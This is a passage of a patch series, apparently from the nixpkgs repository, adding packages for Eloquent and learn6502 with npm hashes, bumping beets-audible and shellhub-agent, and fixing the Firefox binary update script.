index 000000000000..f3364611b620
--- /dev/null
+++ b/pkgs/by-name/el/eloquent/package.nix
@@ -0,0 +1,100 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  meson,
+  glib,
+  gjs,
+  ninja,
+  gtk4,
+  gsettings-desktop-schemas,
+  wrapGAppsHook4,
+  desktop-file-utils,
+  gobject-introspection,
+  glib-networking,
+  pkg-config,
+  libadwaita,
+  appstream,
+  blueprint-compiler,
+  gettext,
+  libportal-gtk4,
+  languagetool,
+  libsoup_3,
+  openjdk,
+  xdg-desktop-portal,
+  dbus,
+  nix-update-script,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "eloquent";
+  version = "1.2";
+
+  src = fetchFromGitHub {
+    owner = "sonnyp";
+    repo = "Eloquent";
+    tag = "v${finalAttrs.version}";
+    fetchSubmodules = true;
+    hash = "sha256-I4AQZl1zoZPhOwDR1uYNJTMRq5vQHPvyimC8OUAe+vY=";
+  };
+
+  nativeBuildInputs = [
+    appstream
+    blueprint-compiler
+    desktop-file-utils
+    gjs
+    gobject-introspection
+    libportal-gtk4
+    meson
+    ninja
+    pkg-config
+    wrapGAppsHook4
+  ];
+
+  buildInputs = [
+    dbus
+    gettext
+    gjs
+    glib
+    glib-networking
+    gsettings-desktop-schemas
+    gtk4
+    libadwaita
+    libportal-gtk4
+    libsoup_3
+    xdg-desktop-portal
+  ];
+
+  postPatch = ''
+    substituteInPlace troll/gjspack/bin/gjspack \
+      --replace-fail "/usr/bin/env -S gjs" "${gjs}/bin/gjs"
+
+    substituteInPlace src/languagetool.js \
+      --replace-fail "/app/LanguageTool/languagetool-server.jar" "${languagetool}/share/languagetool-server.jar" \
+      --replace-fail "--config" "" \
+      --replace-fail "/app/share/server.properties" ""
+
+    sed -i "1 a imports.package._findEffectiveEntryPointName = () => 're.sonny.Eloquent';" src/bin.js
+    patchShebangs .
+  '';
+
+  strictDeps = true;
+
+  preFixup = ''
+    gappsWrapperArgs+=(
+      --set JAVA_HOME ${openjdk}
+      --prefix PATH : ${openjdk}/bin
+    )
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Proofreading software for English, Spanish, French, German, and more than 20 other languages";
+    homepage = "https://github.com/sonnyp/eloquent";
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [ thtrf ];
+    mainProgram = "eloquent";
+    platforms = lib.platforms.linux;
+  };
+})

From 4cf56614602764b83eea32eff28e146a8e21b5d0 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Mon, 26 May 2025 17:51:39 +0800
Subject: [PATCH 1100/4511] learn6502: init at 0.2.0

(cherry picked from commit 1b4bae067e5e3d17b904a12aab9d980197a30dec)
---
 pkgs/by-name/le/learn6502/missing-hashes.json | 81 ++++++++++++++++++
 pkgs/by-name/le/learn6502/package.nix         | 83 +++++++++++++++++++
 2 files changed, 164 insertions(+)
 create mode 100644 pkgs/by-name/le/learn6502/missing-hashes.json
 create mode 100644 pkgs/by-name/le/learn6502/package.nix

diff --git a/pkgs/by-name/le/learn6502/missing-hashes.json b/pkgs/by-name/le/learn6502/missing-hashes.json
new file mode 100644
index 000000000000..aaf3219ba641
--- /dev/null
+++ b/pkgs/by-name/le/learn6502/missing-hashes.json
@@ -0,0 +1,81 @@
+{
+  "@esbuild/aix-ppc64@npm:0.25.0": "468ba76b20f43118a11fd589ef162ff12c3c9f988a861045cc421b3100f9ade27103a0743fa9e9882c54dfe2ec647ca9b209cfc17ef61b5c9bc48be95e5856c1",
+  "@esbuild/aix-ppc64@npm:0.25.2": "e25252d47d27d5e15a09ba7e7e906fe35d90a363e1eec7bc1e054c066bea6f89364139385008f78e8b4523ebaecb1f7a678213c8fcc2cd0309d539bbc455fd05",
+  "@esbuild/android-arm64@npm:0.25.0": "599fcb6b815a9bc8f83687663653c15ceb1c0f9ea0587da03976972281cd040c23b551a9f772d459809c22f7e218e04f1b159f8da1298b9c79b822f5636eff59",
+  "@esbuild/android-arm64@npm:0.25.2": "b387ab30ec70902c81ca1231a7838ccc993ad8dff9561a5ec7d7d4e5f03426153d42e496985a02539bce55f6d1048156f36e24a29f61fa5fd8e0587f62696703",
+  "@esbuild/android-arm@npm:0.25.0": "ff6124350b732afe0f59087d5a50afb0c05d0d3951b4fc0f7c52c19ccacef504d7998217d8d7594dcfd4872748350a49ba611e8f2de3fe9e47a3df4393cb67eb",
+  "@esbuild/android-arm@npm:0.25.2": "8e7efb22407ad9a985ff5a09dc0d2b895126c6ccca470db671ca0a3e3026f79666af20ce5d296311f5d056e95ca71e743feeae526f94dcaacb5a6969f9963283",
+  "@esbuild/android-x64@npm:0.25.0": "7015f561e36c4fe142a4047184776344def5f25369c0bce8abd1de3d623d84cf7ddc09e5f7bac8294a8aea457ec23414e169648579382e6fd1aa39590ffe6e01",
+  "@esbuild/android-x64@npm:0.25.2": "66256eee6168c2f903c45c82863f1377f525dc7de0fc902fca412a44d0abbb8a25761fb9e10c8663b25b0f816d86b7e353d2b77ab39eae95234333f9d233ddc4",
+  "@esbuild/darwin-arm64@npm:0.25.0": "ba18b48c2c652a930a436a872b40cb0999fc0c4788dcda908f467d47555b080043e9ba1f9a7f080eb8d91ea8a3a399216aeea95539829a58885c412131025597",
+  "@esbuild/darwin-arm64@npm:0.25.2": "36a568a779000133d077e2272181232f52939c3e0b0b986ad3f3fd6ab29628c148e88cd857f6de41a16e22e6a252bb16680f91c00c7d813690fa9bc060f58386",
+  "@esbuild/darwin-x64@npm:0.25.0": "83470576dc815364e8f2a6f2ed9c62496fa8112ee4905ccc3b142e36d28c9c90310ad179055d87e2e880e1bf9a3be0e9eb2129d6a88fdacf38181bfab6cf75c0",
+  "@esbuild/darwin-x64@npm:0.25.2": "b761a20f8db7bf0499f6cba51c72104e733d9186d6f34a7f5e4590c02ecc2f9b84cd02c4e7bd3dade4156b7f92015cdbddc516dd1e4859233e3155cb0fecda58",
+  "@esbuild/freebsd-arm64@npm:0.25.0": "646f3abba09e87c4555359200af913bbda9fac43629f6ade6adefdbd0d915707a375314e1d25ed0d951e6024d7d19fe0ecdd10caf4ff6177f3f6450e7132a6a9",
+  "@esbuild/freebsd-arm64@npm:0.25.2": "8f869d6200dba388ac4c008c7a5b6522f44797370a12f94fd19e37b6cd76bdbdf48d0fa893b5ce200a538a151281e9f71e985f82ec8b8c96f16075e45266c718",
+  "@esbuild/freebsd-x64@npm:0.25.0": "4b769e23981e5ec010f9c4670b1194e26e8bf98cc0bb70962fe8c160da508b40561c0b97911072c5de82954a4164af9d885e45e597e39ae379b5cad2d0a8c69e",
+  "@esbuild/freebsd-x64@npm:0.25.2": "6cdfb6c6d6f6ead324a9ee75ab1068305672207cf1d3189bcf5599ec158e0eb07d74ff63597e389777163b4399da1cc6164b918a7ea9e798e7fd45eee6aad9bb",
+  "@esbuild/linux-arm64@npm:0.25.0": "508ca15315c4d7b7db28fc8e17247ebe5c816c270496d1354f0d97baafdf774ec055c2d9ac51e06fb02fed93ce4f94d109b92fe80a62e42bf51a2c5046fc76c8",
+  "@esbuild/linux-arm64@npm:0.25.2": "a0d51ec6e91e97461916eb6c25b12a8ea6b58ec2f3d91199c0c3f02ec569e98ff1389700250d4664d8394d3d5b5a051d695b34bfe77ab4a12985dfc18f315b73",
+  "@esbuild/linux-arm@npm:0.25.0": "3756d3974f5b5a6453f2ece2fa012f530b32b6af78cc0b6466bf0582b3da718803dae41bdb5cc4cdc360882bd791b63bb79e5f4a6f8c44ee053fc93b8dd6ea7f",
+  "@esbuild/linux-arm@npm:0.25.2": "5a4cf4045a2a5949dc8875dbad9a82fde7333d3f59b66d8cb614b34b76a7fb715a8d74e41f0788104bcef0436108ca548d71a543f582073e0458e20370dbb802",
+  "@esbuild/linux-ia32@npm:0.25.0": "d220829704167772688a93568738d0887fc45d88cce7a4f2e4de992f161e9aa679294bfdf2dd3d70fa6549b548a023d98a90f19270cd8ebd5b365efe04b7027c",
+  "@esbuild/linux-ia32@npm:0.25.2": "535c1755ed95a47b05b865361d2efbef3490f05815743c0d2372f55a2e14f0cc1d5ed6e5dd6f91c7aea871ea2f64cea021eea6e714027148489c54edc6e2b19f",
+  "@esbuild/linux-loong64@npm:0.25.0": "e7f1a54ea77c9307f54d7172a03b1e77ec18b3f6622077fe3dcb4d53435ea47fc60e82b9da7b8efe375c0e46f4c07169686262af2eaea6557cf033c973f6fbcd",
+  "@esbuild/linux-loong64@npm:0.25.2": "8ff82f5cdd7a9490dfb3be64c990841d2a8e1a0ce83d76fa8d5e9b0ba7aa91ca725f338ff43b4d69a18744905f1730adf87a7f8359ae839030663e0bbe2807e2",
+  "@esbuild/linux-mips64el@npm:0.25.0": "d51dc06bc3da38fb046986019c6b1a8aa1b43a835089f1f8d8ce4242c9417e1d3d25fa593708cd61f66f8665be27829316b37ecf9e08dc48718aacc00608aac1",
+  "@esbuild/linux-mips64el@npm:0.25.2": "382520bf655329d04f65e041f9bf774d11a2232bdf5125934732db915c179b1172ec3429722d9f02f46ee5bad7b70372872bfd003d7c1cc5ec95b7ca6ec8a983",
+  "@esbuild/linux-ppc64@npm:0.25.0": "a19514e5b21c5f70e6b5b6ccdacb09922e9c397e80e3b1ac8e55ed283f9f3a5325a9e4dcf284d033954f3c51a88411fa95473c83b2b69990e02e351fa971b63f",
+  "@esbuild/linux-ppc64@npm:0.25.2": "c5736195867e9c441cabd0a2cbaa62f91c4e4963ed7490018d09a932d549e1d281411ddf9dbd4a4b68f0c0298c1321ba15fd4e493cdc3dea3e14b7a6207b12f8",
+  "@esbuild/linux-riscv64@npm:0.25.0": "4b275bb4d2442a68b62a93926a4da04bde06795fc7f5719555c7a9d2cf0e8a2cd6a50c0e574f1285e55e126f0be29cf6017d829c571c2fb31728fb1961c45f70",
+  "@esbuild/linux-riscv64@npm:0.25.2": "c72879775daded232fb2e36a6fe26058ec1ccd1f5dd6a76b4e8da700c6dd20cb15b684bce34569cadd41f25a0a53bd2037994279856bb3148f8c16055adcaf68",
+  "@esbuild/linux-s390x@npm:0.25.0": "7bd0fefc75c72d6d657aa9fec2322f1b8744936fc77da7e32027f0f1aff4b5fdaa8ae19a060fa4d465a79f14e13a4e10f3eeaf1ca64dc4c3cf08494b3e26100b",
+  "@esbuild/linux-s390x@npm:0.25.2": "d8810561312c4c7705f3c580ef8cd38e2768feb19ebf2899595a227f59dfb6ca35182f8ad7ca65d503cc5d9c688fe742002243387aa09b98b8c32aabc522ac4e",
+  "@esbuild/linux-x64@npm:0.25.0": "f9562d7e1d25b9a69faa40aaa7dd607b820836f88733b26b27a48b14b8a526cc5ec033c1869386419bd609c96442974c339ccbb03b4a23ea205927b2243d3b6c",
+  "@esbuild/linux-x64@npm:0.25.2": "32c8a5f7d0640655ebf60f379ee2b037fe83f3f0edad911a9098505e6ac589c5f2873ff441017183626a19d334e3bb59f58411f2d5474eb7222917575593abea",
+  "@esbuild/netbsd-arm64@npm:0.25.0": "4f2502bbcf5967cf2a07c712f9fd87a0ec1e60356ea115dc8b69ea7364e88edae5758bb7cba4049065bb8e78d69d0f6bce09f42f146a50b2dcc6069e14ba66d5",
+  "@esbuild/netbsd-arm64@npm:0.25.2": "0b7f77ec46163feac839b17b94e7db87edf61441bd9a67115722bf72781021c8220576a2e2c70bbca45b89a1e69a6b132f5489b59e84241b197272c1ee080304",
+  "@esbuild/netbsd-x64@npm:0.25.0": "82e3e256ac495620890867e85b63f4327e3f5cd5876c868dd4690094c7e4c233bc2359835e512443b8a44f44fc15d98ef3e63914efae8128d3a348d0ebaa66ec",
+  "@esbuild/netbsd-x64@npm:0.25.2": "6d6686f5d2eb79b042bd4f38dc95e73a8e290a057be1b6afc42867830c9cf2313600b4fd53287f2f418c9f454bf5df02154b16dcfbfc33a6eb2ce9722a4eecc1",
+  "@esbuild/openbsd-arm64@npm:0.25.0": "6c8de60d94a53fa4c37f7cbfca04baf06a14bb4b4360ab711b2235ec33b624e268cd39aad84382648eabae4db5727495806221211d663c36f1710579f504f967",
+  "@esbuild/openbsd-arm64@npm:0.25.2": "8a08c16440c6389623bbacb717412635aff61a1552c917e707d71da1dc92c618eea9a9aa1606a4a4f322216f100ede658523baec2e82b1f11b4efd523d491173",
+  "@esbuild/openbsd-x64@npm:0.25.0": "ed2beae58658aa2146a9cae2152a38f52f34e2dd929e79a298f8ce4b3c2c6fcf8e2ac98b458fb0fe5baf87c08df12b162c74b52b4c95f5f54f5a073da1668ebe",
+  "@esbuild/openbsd-x64@npm:0.25.2": "43baf3248bb460e169cb1b5f26f5eb720088fa0d467c77f4f72c6cfa8e6d7b7794c52ed5e4a9a2113db53313c5fec86e352c94939abf601ab22d5e6e9addc4e5",
+  "@esbuild/sunos-x64@npm:0.25.0": "9a0d0569ea65171983b0daadbf8ec6dd31341db7bee50fc4c2b85521eb09ff7597279d9dda4b4f25c3bfd6f4f77d558b6a6f36dcfb6794e7fc2177df9770a17e",
+  "@esbuild/sunos-x64@npm:0.25.2": "0babbb99d3bc3ed818b2b01fbf65ebbf5930defb850e5a5a94a3ba5fc7bc2463d561c07af0d3ac6d6d0197c86682750ceb47abf7d293dd3222b1bd33da9f8aa5",
+  "@esbuild/win32-arm64@npm:0.25.0": "5484d8ad74479f8cc8c7b5d14d5f8ced3e50d6ef7fc12a45406ae6c6e5199784267bfccbe0173b598c1b512ea20ecd5de20579cf04d3e07848df3db7ccffd8e6",
+  "@esbuild/win32-arm64@npm:0.25.2": "205aab6fc7b0ca7ee992cd24d73550110c1f79dc2ca724384bb52aa95111248df022375cd648314bd7eeb42083d576c55572f3d39d4ddcd82fc7372f1e7688b0",
+  "@esbuild/win32-ia32@npm:0.25.0": "206eb14fd607c5a5116a49eaf4ed3ca7c34c0372729d7d34aa07bbc2a5792afabfd62873212213b17607165bd4ecbe4366066de0ddedd50a46a27a3c5cb830e5",
+  "@esbuild/win32-ia32@npm:0.25.2": "aa38c0e082e3111e84929a64638cce1c3e1114218726e41c99bf239f2c05be94fb6fe1083366aa342bbd8e75fd449a6a3bcae9b6b3b84066a3a3882dcbaa0090",
+  "@esbuild/win32-x64@npm:0.25.0": "a129e6ad07bbcc791fda365e71634aa45cf3989ded1f05ed1ecb99efa625b09081ef410d236fdd279037d001f2e5e5049c98bfbe6a2242c818463222df85cc54",
+  "@esbuild/win32-x64@npm:0.25.2": "2f2d147c610a3c3ab0f0f97132e4421464d3d38b835d989e8c324b7397e2592cd05485ec1998ae352f06d3191dd1d71c24f94f63f7c70cd8ea8a4c85441502a9",
+  "@rollup/rollup-android-arm-eabi@npm:4.34.8": "1d21d3ba13ed2cff8b4955b9d7c5fb91fa954be9cdd8f4e5bedc4e1d95733af3249bb7f3f000b9c69e89128a9439bb35990fd5c737372bc9b7fdbea906ac63dd",
+  "@rollup/rollup-android-arm64@npm:4.34.8": "b3c44e5aaab2b429716d58b93353b0429a131a0b7e08ee39f25ceca1faf3cc453346c9cb91dd1cc278eb5621fb701da87608cc3ce323c24d5f3d191781694ec3",
+  "@rollup/rollup-darwin-arm64@npm:4.34.8": "a117920a3f06b6fb3e57f3a240a38ea3184811f931105185942e1cb9865d609662e3849ee53bdf7265d4555b9c9d2b6723fb4c94a9b1e494b522253246767b72",
+  "@rollup/rollup-darwin-x64@npm:4.34.8": "70862e22270122f61690fcf69f07a32f3cce9028c7c296cc6a37bd5ae2fe2e021cf86df877274acf07a927889faf3ffc8721871d749087ea86941853c66a1f27",
+  "@rollup/rollup-freebsd-arm64@npm:4.34.8": "42e5a9a8fb20585ee5fc1a94f758fdfe4d1dde03a4f6476686b1a8835167e2e210192fb8ffd733dd12baaec928a3fc753bf05609798df99bb4d8b2f6ea44f997",
+  "@rollup/rollup-freebsd-x64@npm:4.34.8": "984baffa0968907090146b0237697ee76b64eb18dbde512304e83d793030f2cec01bb08658ccb2e12ff6ecd88dccc4886acaaf8117345e564c9b7752c20a7d51",
+  "@rollup/rollup-linux-arm-gnueabihf@npm:4.34.8": "3a7fe8a7c80608ee54bc2c5b40424b15b0a3da8ec8201e3303f56bedbf3a34f8446b9968da849705373c02c3bd35c56ca22117c3549c8968b2cd1ad54f2d82ed",
+  "@rollup/rollup-linux-arm-musleabihf@npm:4.34.8": "27fbc7ec1a8ac9d44661d4024d704bc1af8c257bd454b3b56cbcf43afe60a617ac4dec50e6c5906a07945d2bed60c8d44b972aee9f53186b24b7df2b9c99e3f3",
+  "@rollup/rollup-linux-arm64-gnu@npm:4.34.8": "7ce7073fa830540fc67616b44b3155bacfe84463268ba948aa68719a197684da4ef60882ac1623d168597c3178f936262386de67425c60d645bf66eabf743351",
+  "@rollup/rollup-linux-arm64-musl@npm:4.34.8": "1acb2a29e1a190c2df27c5e1a30424f22ca98dd5c4e12c2103e2810659c95b8e027b5b34dd0127e55b8c818bb28c49dfc9fe6586c508f85b98350ded6bb60717",
+  "@rollup/rollup-linux-loongarch64-gnu@npm:4.34.8": "50c416ca41ed0df3d54ccf11c7e5487c64f9e2fee97deb21741086c61a99007ee3dc011d34a6261a3d32cff3f46483bce930ae92e96d54abe607576095bc3906",
+  "@rollup/rollup-linux-powerpc64le-gnu@npm:4.34.8": "b80e0473848b7d26ab845368e75fd834f71fe6b03f1753450a9c521fe99024a5caa40a85ce8bce1bce079971b31dc2266c718e05ff950143f98a3310944863f4",
+  "@rollup/rollup-linux-riscv64-gnu@npm:4.34.8": "1efd1e6142b2bbaa986f5c9edc1caee98f3fbd18160da02fd6c05b324b683eec0d8a9b0d4525b67de70873375988d1a4986dfdaf94ec847d9f30a82e5bac1bcd",
+  "@rollup/rollup-linux-s390x-gnu@npm:4.34.8": "d536c327ad26cf9ad586ad68e146f4cbd64b6bb1daf146f8124f6257f70f42e1d05e37afab902f97049cf8d0b7e60458480a8cf2e49379f1efa1568ac13f6107",
+  "@rollup/rollup-linux-x64-gnu@npm:4.34.8": "9c8e0c8ae968e8400641d782d7cb0b9b06cdec0c0a366c20259e49da0984ffea2a6af15de3e1fdfc92c1906a97044ea676195b945750848c8ddf34abf675eebf",
+  "@rollup/rollup-linux-x64-musl@npm:4.34.8": "994b3a904c79fa72a3c331c983c27296ebb302b08f6c624ecbbf91cfa136f03cbdad4be904fd1a80b44d521e49399aff6e7902b594146a8c73cb6d1ad13dce08",
+  "@rollup/rollup-win32-arm64-msvc@npm:4.34.8": "5d09e6b59d1b08bb85922170aad0b8ada8bff7a5d63bed3b1ba49d4bbe32fd2557527d85c1bb97bf8d7f20778c2266b35c86bb4b0c035835099a3f6b222bc26c",
+  "@rollup/rollup-win32-ia32-msvc@npm:4.34.8": "d4817c6e0744f2a53c24ea6855ed061fb03437fa0187f86363768d0edffc7e1bd281f9003e684779ac5662627daab1f2816084a257a13ade5bc0fd7e63912d94",
+  "@rollup/rollup-win32-x64-msvc@npm:4.34.8": "47679da18b7676a91d123a73298047fca019b4a9dfc4e026c43ba0dfea763ed972a9ce0cd46766317af45ef4d2a09cccc6284c4226a006b05d2e6fb712dad29c",
+  "lightningcss-darwin-arm64@npm:1.29.3": "599581a267d180e23c3a08652666a62c1a47b2c7d2cff892f22675a3705886f728c596c7fe51867649736b15ac29a79cb97d7aba58a9fd8c75b3cb73d10a8c85",
+  "lightningcss-darwin-x64@npm:1.29.3": "c9868e863c72d8e60edbb21c88146928da1ad89e8a6f642ec8cc14d20b1d623961270707a94bca0332ef3d2b57d3ef8346523ec619b587db655d204341677ced",
+  "lightningcss-freebsd-x64@npm:1.29.3": "f04a9f4b401db4879134c6b7e96c56301f485fb0c65bc2ef753d89e3ba40c5eeefdc006cd4787e5a40efb7409555a400f469898133ad7d947a09eb5bfa20f9c0",
+  "lightningcss-linux-arm-gnueabihf@npm:1.29.3": "2ebd119afe472d0e43bcb530fa87a23124716f9134d34b03b73ff71a0b145d39c350780ab630b0dbdafdd420b08159dc3f672623099c07b072417c5c8216c18f",
+  "lightningcss-linux-arm64-gnu@npm:1.29.3": "617df6a4bf3f76db3e2ed826120ecfc81db270947a785db57a63633a9e14e7e8d55e2e35adabb3ef98db4a5f572b7a2eadcf31f93ae08182e949480f9c1c9c83",
+  "lightningcss-linux-arm64-musl@npm:1.29.3": "f31c4f11fafee941f7077df9a7669f4eb7e299f0ef8e194b6fbe91d4847fe90dcb16eff5b245520bc56e1486377ff95a2a53dfdb5cb36fd0d4aeb1828b7b53e3",
+  "lightningcss-linux-x64-gnu@npm:1.29.3": "95872955cdc86a3401e36a7871a050e84908b27c1809277c2f86e3bb8fc5ba10d11c442f0df6c6ba5a5b2ec64ffeffd1b941135d515e8b37d873ce342a0a7f2c",
+  "lightningcss-linux-x64-musl@npm:1.29.3": "6dc4817256841b7b98da88833c9575d87339f6c3b56d16b25cef0eddbe3b03cb7d12121187a1ac4443d6b5f52161bb6177a50e017a86d320278e7524b4394179",
+  "lightningcss-win32-arm64-msvc@npm:1.29.3": "64ed3c716814064ef13f804468dc4def41f86695b0131fb8fa1cfd295036b885ca92122e488758c8ff88feb61e5a8ce05371281cb18e3d77b92abeb434d61857",
+  "lightningcss-win32-x64-msvc@npm:1.29.3": "84b8711c3371d96d096c826cbfca21d253bc4de6f40afec951f64a457154feeed8c57fcca9835977c907b208015b0635b035c5a0fbb78852947e4f8f6bfc5806"
+}
diff --git a/pkgs/by-name/le/learn6502/package.nix b/pkgs/by-name/le/learn6502/package.nix
new file mode 100644
index 000000000000..f11969aa70bb
--- /dev/null
+++ b/pkgs/by-name/le/learn6502/package.nix
@@ -0,0 +1,83 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  yarn-berry_4,
+  nodejs,
+  meson,
+  ninja,
+  blueprint-compiler,
+  gtksourceview5,
+  wrapGAppsHook4,
+  desktop-file-utils,
+  pkg-config,
+  writableTmpDirAsHomeHook,
+  gjs,
+  libadwaita,
+  nix-update-script,
+}:
+
+let
+  yarn-berry = yarn-berry_4;
+in
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "learn6502";
+  version = "0.2.0";
+
+  src = fetchFromGitHub {
+    owner = "JumpLink";
+    repo = "Learn6502";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-2c8dUhxCNaDlvQlYwqebfAAlClrnJpGFs9EukdiVgy0=";
+  };
+
+  missingHashes = ./missing-hashes.json;
+
+  offlineCache = yarn-berry.fetchYarnBerryDeps {
+    inherit (finalAttrs) src missingHashes;
+    hash = "sha256-nbahJ+nwpHVvw8pCqhg1W+4lmgSH7o7BjjhujF7yyQs=";
+  };
+
+  nativeBuildInputs = [
+    nodejs
+    yarn-berry.yarnBerryConfigHook
+    meson
+    ninja
+    blueprint-compiler
+    wrapGAppsHook4
+    desktop-file-utils
+    pkg-config
+    writableTmpDirAsHomeHook
+    gjs # gjs-console
+  ];
+
+  buildInputs = [
+    gjs
+    gtksourceview5
+    libadwaita
+  ];
+
+  strictDeps = true;
+
+  # yarnBerryConfigHook needs to run in the yarn.lock directory
+  postConfigure = ''
+    pushd ..
+  '';
+
+  # meson needs to enter the subdirectory
+  preBuild = ''
+    popd
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Modern 6502 Assembly Learning Environment for GNOME";
+    homepage = "https://github.com/JumpLink/Learn6502";
+    mainProgram = "eu.jumplink.Learn6502";
+    license = lib.licenses.gpl3Plus;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ emaryn ];
+  };
+})

From e3a8a4de9a7d9756a06c7c8fc91a1204c6a72795 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 02:53:54 +0000
Subject: [PATCH 1101/4511] beetsPackages.audible: 1.0.1 -> 1.0.2

(cherry picked from commit 4abce219e7b9f52780ec4e459b6eea0e2c8a2f89)
---
 pkgs/tools/audio/beets/plugins/audible.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/audio/beets/plugins/audible.nix b/pkgs/tools/audio/beets/plugins/audible.nix
index 7e090bf2358f..9bc10074d2f2 100644
--- a/pkgs/tools/audio/beets/plugins/audible.nix
+++ b/pkgs/tools/audio/beets/plugins/audible.nix
@@ -7,14 +7,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "beets-audible";
-  version = "1.0.1";
+  version = "1.0.2";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Neurrone";
     repo = "beets-audible";
     rev = "v${version}";
-    hash = "sha256-Sds16h+W9t7N755ADPXXDi+SxwouBMxP9ApUqaXedqY=";
+    hash = "sha256-6rf8U63SW+gwfT7ZdN/ymYKHRs0HSMDTP2ZBfULLsJs=";
   };
 
   nativeBuildInputs = [

From 174e805a7c6ed5b95afff5e1458cab8ebd5aea1f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 08:00:09 +0000
Subject: [PATCH 1102/4511] shellhub-agent: 0.18.3 -> 0.19.0

(cherry picked from commit 0be43c55b01518394604743e20f10c431c5cdbd6)
---
 pkgs/by-name/sh/shellhub-agent/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sh/shellhub-agent/package.nix b/pkgs/by-name/sh/shellhub-agent/package.nix
index 1131ec60fa85..90510e9816e4 100644
--- a/pkgs/by-name/sh/shellhub-agent/package.nix
+++ b/pkgs/by-name/sh/shellhub-agent/package.nix
@@ -12,18 +12,18 @@
 
 buildGoModule rec {
   pname = "shellhub-agent";
-  version = "0.18.3";
+  version = "0.19.0";
 
   src = fetchFromGitHub {
     owner = "shellhub-io";
     repo = "shellhub";
     rev = "v${version}";
-    hash = "sha256-ByKj9rnRGS3B+BEqeo7QJvjSxVXytOXydmZMx7lK8Xc=";
+    hash = "sha256-xoGOiaUIjlR2l+l+oM1s3J7YBW9af2dfd+hXwq8zZU8=";
   };
 
   modRoot = "./agent";
 
-  vendorHash = "sha256-L+oww1HlPWgAYK16OG5bWiDb/OW7uarY8LZyw9b85ac=";
+  vendorHash = "sha256-VjxgBXPrgwm8L3VIy7eLG2pVP+iYnpn1oR+ARRh3EAQ=";
 
   ldflags = [
     "-s"

From 419508c97ad0c71cde07d807b4127e2cf7f940e9 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 15 Jun 2025 11:16:19 +0200
Subject: [PATCH 1103/4511] firefox-bin: fix updateScript

(cherry picked from commit 5c44b02d95616376992513d02756104b311cf4cb)
---
 .../networking/browsers/firefox-bin/default.nix      |  1 -
 .../networking/browsers/firefox-bin/update.nix       | 12 ++----------
 .../mailreaders/thunderbird-bin/default.nix          |  2 --
 3 files changed, 2 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/default.nix b/pkgs/applications/networking/browsers/firefox-bin/default.nix
index 33c12077a374..6d53fa9e73b2 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/default.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/default.nix
@@ -139,7 +139,6 @@ stdenv.mkDerivation {
     updateScript = import ./update.nix {
       inherit
         pname
-        lib
         writeScript
         xidel
         coreutils
diff --git a/pkgs/applications/networking/browsers/firefox-bin/update.nix b/pkgs/applications/networking/browsers/firefox-bin/update.nix
index 00f1c18dc422..991ebd844a67 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/update.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/update.nix
@@ -1,7 +1,5 @@
 {
   pname,
-  channel,
-  lib,
   writeScript,
   xidel,
   coreutils,
@@ -16,10 +14,6 @@
   versionSuffix ? "",
 }:
 
-let
-  isBeta = channel != "release";
-
-in
 writeScript "update-${pname}" ''
   #!${runtimeShell}
   PATH=${coreutils}/bin:${gnused}/bin:${gnugrep}/bin:${xidel}/bin:${curl}/bin:${gnupg}/bin
@@ -49,9 +43,7 @@ writeScript "update-${pname}" ''
            grep "^[0-9]" | \
            sort --version-sort | \
            grep -v "funnelcake" | \
-           grep -e "${lib.optionalString isBeta "b"}\([[:digit:]]\|[[:digit:]][[:digit:]]\)${versionSuffix}$" | ${
-             lib.optionalString (!isBeta) "grep -v \"b\" |"
-           } \
+           grep -e "\([[:digit:]]\|[[:digit:]][[:digit:]]\)${versionSuffix}$" | grep -v "b" | \
            tail -1`
 
   curl --silent -o $HOME/shasums "$url$version/SHA256SUMS"
@@ -94,7 +86,7 @@ writeScript "update-${pname}" ''
   }
   EOF
 
-  mv $tmpfile ${channel}${if versionSuffix == "" then "" else "_${versionSuffix}"}_sources.nix
+  mv $tmpfile release${if versionSuffix == "" then "" else "_${versionSuffix}"}_sources.nix
 
   popd
 ''
diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
index bed3329957db..63c682a960c7 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
@@ -104,7 +104,6 @@ stdenv.mkDerivation {
   passthru.updateScript = import ./../../browsers/firefox-bin/update.nix {
     inherit
       pname
-      lib
       writeScript
       xidel
       coreutils
@@ -116,7 +115,6 @@ stdenv.mkDerivation {
       versionSuffix
       ;
     baseName = "thunderbird";
-    channel = "release";
     basePath = "pkgs/applications/networking/mailreaders/thunderbird-bin";
     baseUrl = "http://archive.mozilla.org/pub/thunderbird/releases/";
   };

From 35a30252df903fb8d0b863821a118e9fdfefd850 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Tue, 10 Jun 2025 20:10:05 +0200
Subject: [PATCH 1104/4511] libapparmor: 4.1.0 -> 4.1.1

Release Notes: https://gitlab.com/apparmor/apparmor/-/wikis/Release_Notes_4.1.1
